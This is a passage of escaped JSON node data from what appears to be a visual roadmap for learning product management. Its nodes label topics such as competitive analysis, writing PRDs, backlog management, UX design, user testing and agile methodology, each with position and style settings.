\"8CW_clQsc6SC4piQ3__0I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 145.51741093297437,\n        \"y\": 1830.7355829479723\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Five Forces Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tTUp4GQHvjLZYkySasQFE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 145.51741093297437,\n        \"y\": 1830.7355829479723\n      },\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tTUp4GQHvjLZYkySasQFE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 144.51741093297437,\n        \"y\": 1884.735582947972\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Competetive Advantage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 144.51741093297437,\n        \"y\": 1884.735582947972\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0MnqK2-pI7EkwsGy1j1sh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1980.4660066929098\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"X-Done4_JD3ZuwWr6nCVY\"\n      },\n      \"zIndex\": -999,\n      \"width\": 263,\n      \"height\": 141,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 141\n      },\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1980.4660066929098\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 141\n      }\n    },\n    {\n      \"id\": \"jWU_odHoQYk3GKCPoRV2n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1944.7780340373838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strategic Partners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qy_IXzenBOEVBMvVlXPaY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 132.51741093297437,\n        \"y\": 1944.7780340373838\n      },\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1M6WpW1wbJcXMb3nf10U2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 145.51741093297437,\n        \"y\": 2005.708656057359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Identify Partners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8CW_clQsc6SC4piQ3__0I\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 145.51741093297437,\n        \"y\": 2005.708656057359\n      },\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vXnf1AcMidLww5EypChWk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 144.51741093297437,\n        \"y\": 2059.708656057359\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Partnerships\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tTUp4GQHvjLZYkySasQFE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 144.51741093297437,\n        \"y\": 2059.708656057359\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DoJCeL_vEXv3aVrLt7P_R\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 551.6347432337445,\n        \"y\": 2017.559158455468\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Planning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"WbrOaEjm9pVz9U0sq1Sw0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 65,\n      \"positionAbsolute\": {\n        \"x\": 551.6347432337445,\n        \"y\": 2017.559158455468\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"0tJ7zlgOIaioCMmVavfqz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 543.1347432337445,\n        \"y\": 2226.905290594668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Requirements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"m46lX4dUHik_BSHQwaU2l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 543.1347432337445,\n        \"y\": 2226.905290594668\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0FqpBfvnkGN_oE2KSC-_8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.70417400548126,\n        \"y\": 2172.905290594668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Writing PRDs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yPtxGBDEJkFBhF8ZgQUVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 173.70417400548126,\n        \"y\": 2172.905290594668\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kN-UfAbQ8j7g0jDdqWK55\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.18564808154724,\n        \"y\": 2226.905290594668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Stories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kJ2HQFEsnc5yISU8d9Lla\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 173.18564808154724,\n        \"y\": 2226.905290594668\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B9fgJmzVViaq7dvSuEglb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.18564808154724,\n        \"y\": 2280.905290594668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Job Stories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 173.18564808154724,\n        \"y\": 2280.905290594668\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gS3ofDrqDRKbecIskIyGi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 953.9191777644862,\n        \"y\": 2466.1792252714604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zCYM4D6DWfxhb0FNjT2Ly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 953.9191777644862,\n        \"y\": 2466.1792252714604\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 256,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eiqV86PWizZPWsyqoBU5k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2134.035382041372\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating a Roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2134.035382041372\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k7Zv7IS9y-jkI_zGrBQG3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2188.035382041372\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prioritising Features\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2188.035382041372\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qGvHqOSTPyVKll4mMVk7i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2242.035382041372\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continuous Roadmapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2242.035382041372\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1uAfy3ISLKGmLirvIfzfE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2296.035382041372\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Outcome-Based Roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2296.035382041372\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NjLt_B_kV7FdnkOomqayx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2350.035382041372\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communicating the Roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mm5yvAaROsbwDgQUfnqyl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 943.4191777644862,\n        \"y\": 2350.035382041372\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lq5Hl1ZXBQRRI_4ywn7yA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 541.1347432337445,\n        \"y\": 2566.587814003239\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backlog Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zCYM4D6DWfxhb0FNjT2Ly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.1347432337445,\n        \"y\": 2566.587814003239\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 256,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Slb0P_LVdl7-GzUqbO33c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.8808752158963,\n        \"y\": 2353.7969860949165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Prioritization Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3JY85Tu40ABy9XfoliaqE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.8808752158963,\n        \"y\": 2353.7969860949165\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sqxgqfxWMluhWtCWN8spG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 541.8808752158963,\n        \"y\": 2407.7969860949165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Grooming Sessions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3JY85Tu40ABy9XfoliaqE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.8808752158963,\n        \"y\": 2407.7969860949165\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3JY85Tu40ABy9XfoliaqE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.1347432337445,\n        \"y\": 2461.7969860949165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Story Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 543.1347432337445,\n        \"y\": 2461.7969860949165\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"74FApE4fYNihBkOfl3w3p\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 169.182471482702,\n        \"y\": 2393.7969860949165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Design\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"DoJCeL_vEXv3aVrLt7P_R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 63,\n      \"positionAbsolute\": {\n        \"x\": 169.182471482702,\n        \"y\": 2393.7969860949165\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 63\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 63\n      }\n    },\n    {\n      \"id\": \"-lFYy5W1YqWuTiM3QRF4k\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 136.682471482702,\n        \"y\": 2709.8118279313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UX / UI Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 136.682471482702,\n        \"y\": 2709.8118279313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TwL-EqDorSgUpBYr4O4rf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2655.8118279313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Principles of UX Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yPtxGBDEJkFBhF8ZgQUVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2655.8118279313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zwrmh-djneZ8HIqbaBOkN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2709.8118279313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Wireframing and Prototyping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yPtxGBDEJkFBhF8ZgQUVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2709.8118279313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yPtxGBDEJkFBhF8ZgQUVH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2763.8118279313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Design Thinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3JY85Tu40ABy9XfoliaqE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.9118193586824,\n        \"y\": 2763.8118279313\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lxU25qxxgxnNF3c3kdZxz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 136.682471482702,\n        \"y\": 2795.1121121633273\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Service Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 136.682471482702,\n        \"y\": 2795.1121121633273\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S_-9msr3vGZgOQ36zErnf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 136.682471482702,\n        \"y\": 2866.6198481990236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interaction Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v3hKowLMBVq9eCXkUhrDZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 136.682471482702,\n        \"y\": 2866.6198481990236\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v3hKowLMBVq9eCXkUhrDZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 136.682471482702,\n        \"y\": 2953.1740004488997\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"User Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1j2ZSo7UGnBgoLpYzsA5t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 136.682471482702,\n        \"y\": 2953.1740004488997\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1uXjKKvOKqpO50m1pM627\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2840.084010340816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usability Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TwL-EqDorSgUpBYr4O4rf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2840.084010340816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ws7IFrHQNoBjLE2Td2xIZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2894.084010340816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"A/B Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zwrmh-djneZ8HIqbaBOkN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2894.084010340816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5fze1aw1in3Gp3K31bvin\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2948.084010340816\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Remote User Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yPtxGBDEJkFBhF8ZgQUVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 535.8808752158961,\n        \"y\": 2948.084010340816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hLy9kA3yEyDQ32XTq6I8b\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 122.182471482702,\n        \"y\": 3153.8997324497136\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Development and Launch\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"74FApE4fYNihBkOfl3w3p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 122.182471482702,\n        \"y\": 3153.8997324497136\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"sAu4Gr1hg8S4jAV0bOSdY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 535.8808752158961,\n        \"y\": 3163.322416884947\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Agile Methodology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zCYM4D6DWfxhb0FNjT2Ly\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 